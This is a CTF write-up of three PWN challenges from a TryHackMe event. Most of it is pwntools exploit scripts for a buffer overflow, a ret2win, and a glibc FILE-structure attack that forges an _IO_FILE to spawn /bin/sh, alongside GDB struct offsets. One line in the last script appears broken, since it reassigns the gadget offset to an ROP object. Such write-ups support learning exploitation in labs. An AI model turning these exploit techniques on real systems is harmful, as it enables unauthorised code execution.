- Published on
Industrial intrusion CTF - PWN challenges
- Authors
- Name
- kerszi
Introduction
The competition ran from June 27th at 15:00 until June 30th at 00:59.
Industrial Intrusion was quite an interesting CTF, organized by Try Hack me
, where you could test your skills in Forensics, Web, PWN, Reverse, etc. I focused on PWN; the challenges were fairly simple, but the one involving file structure was new to me, so I spent more time on it, but I don't regret it. Unfortunately, the challenge descriptions have already been removed, and I didn't manage to take screenshots earlier. However, the binaries have been preserved, so you can practice with them. I didn't solve all the PWN challenges, but I did manage to complete three of them.

Start
That was easy, easy one. Simple buffer overflow without win.
from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="10.10.32.72:9008"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./start"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
payload=53*b'A'
p.sendlineafter(b'Enter your username:',payload)
p.interactive()
Industrial
That was easy one too. Simple buffer overflow. return to win.
from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="10.10.164.19:9001"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./industrial"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
win=binary.sym.win
rop=ROP(binary)
ret=rop.find_gadget(['ret'])[0]
payload=40*b'A'+p64(win+5)
p.sendlineafter(b'Enter the next command :',payload)
p.interactive()
file operation
This challenge was more complex and required a good understanding of Linux file structures, specifically the internals of the struct _IO_FILE
used by glibc for file operations. To craft the exploit, I had to analyze the structure layout in memory using GDB. For reference, here is the output of ptype /o struct _IO_FILE
in GDB, which shows the offsets and sizes of each field:
/* offset | size */ type = struct _IO_FILE {
/* 0 | 4 */ int _flags;
/* XXX 4-byte hole */
/* 8 | 8 */ char *_IO_read_ptr;
/* 16 | 8 */ char *_IO_read_end;
/* 24 | 8 */ char *_IO_read_base;
/* 32 | 8 */ char *_IO_write_base;
/* 40 | 8 */ char *_IO_write_ptr;
/* 48 | 8 */ char *_IO_write_end;
/* 56 | 8 */ char *_IO_buf_base;
/* 64 | 8 */ char *_IO_buf_end;
/* 72 | 8 */ char *_IO_save_base;
/* 80 | 8 */ char *_IO_backup_base;
/* 88 | 8 */ char *_IO_save_end;
/* 96 | 8 */ struct _IO_marker *_markers;
/* 104 | 8 */ struct _IO_FILE *_chain;
/* 112 | 4 */ int _fileno;
/* 116 | 4 */ int _flags2;
/* 120 | 8 */ __off_t _old_offset;
/* 128 | 2 */ unsigned short _cur_column;
/* 130 | 1 */ signed char _vtable_offset;
/* 131 | 1 */ char _shortbuf[1];
/* XXX 4-byte hole */
/* 136 | 8 */ _IO_lock_t *_lock;
/* 144 | 8 */ __off64_t _offset;
/* 152 | 8 */ struct _IO_codecvt *_codecvt;
/* 160 | 8 */ struct _IO_wide_data *_wide_data;
/* 168 | 8 */ struct _IO_FILE *_freeres_list;
/* 176 | 8 */ void *_freeres_buf;
/* 184 | 8 */ size_t __pad5;
/* 192 | 4 */ int _mode;
/* 196 | 20 */ char _unused2[20];
Understanding these offsets was crucial for building a fake file structure and successfully exploiting the binary.
from pwn import *
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="10.10.71.3:9003"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./file-operation"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('./libc.so.6', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
p.recvuntil(b'Queue instruction 0x')
stdout_addr = int(p.recvline().strip(), 16)
log.info(f"stdout address: {hex(stdout_addr)}")
# Załaduj libc
#libc = ELF('/path/to/libc.so.6') # Zastąp ścieżką do libc-2.34
stdout_offset = libc.symbols['_IO_2_1_stdout_']
stdin_offset = libc.symbols['_IO_2_1_stdin_']
lock_offset = libc.symbols['_IO_stdfile_1_lock']
wide_data_offset = libc.symbols['_IO_wide_data_1']
wfile_jumps_offset = libc.symbols['_IO_wfile_jumps']
system_offset = libc.symbols['system']
gadget_offset = 0x1791c7 # add rdi, 0x10 ; jmp rcx Zastąp odpowiednim gadżetem dla libc-2.34
gadget_offset = ROP()
# Oblicz adresy
libc_base = stdout_addr - stdout_offset
stdin_addr = libc_base + stdin_offset
lock_addr = libc_base + lock_offset
wide_data_addr = libc_base + wide_data_offset
fake_vtable_addr = libc_base + wfile_jumps_offset - 0x18
system_addr = libc_base + system_offset
gadget_addr = libc_base + gadget_offset
log.info(f"libc base: {hex(libc_base)}")
log.info(f"stdin address: {hex(stdin_addr)}")
log.info(f"lock address: {hex(lock_addr)}")
log.info(f"wide_data address: {hex(wide_data_addr)}")
log.info(f"fake vtable address: {hex(fake_vtable_addr)}")
log.info(f"system address: {hex(system_addr)}")
log.info(f"gadget address: {hex(gadget_addr)}")
# Przygotuj strukturę FileStructure
fake = FileStructure(0)
#szukac
# _IO_FILE, stdout, _IO_2_1_stdout_
# w gdb ptype /o struct _IO_FILE
fake.flags = 0xfbad2088 & ~(0x4 | 0x800) # Wyłącz _IO_NO_READS i _IO_CURRENTLY_PUTTING
#fake.flags = 0x3b01010101010101 tez dziaa
fake._IO_read_ptr = 0
fake._IO_read_base = 0
fake._IO_read_end = system_addr # Wywołaj system
fake._IO_save_base = gadget_addr # Gadżet add rdi, 0x10 ; jmp rcx
fake._IO_write_end = u64(b'/bin/sh\x00') # Argument dla system
fake._IO_buf_base = stdout_addr
fake._IO_buf_end = stdout_addr + 0x300
fake._lock = lock_addr #bardzo wazne
fake._codecvt = stdout_addr + 0xb8
fake._wide_data = stdout_addr + 0x200
fake.unknown2 = p64(0) * 2 + p64(stdout_addr + 0x20) + p64(0) * 3 + p64(fake_vtable_addr)
# Konwertuj na bajty i wypełnij do 240 bajtów
payload = bytes(fake)
p.send(payload)
p.interactive()
BONUS
Optionally, add links to binaries or additional resources.
Download binaries.zip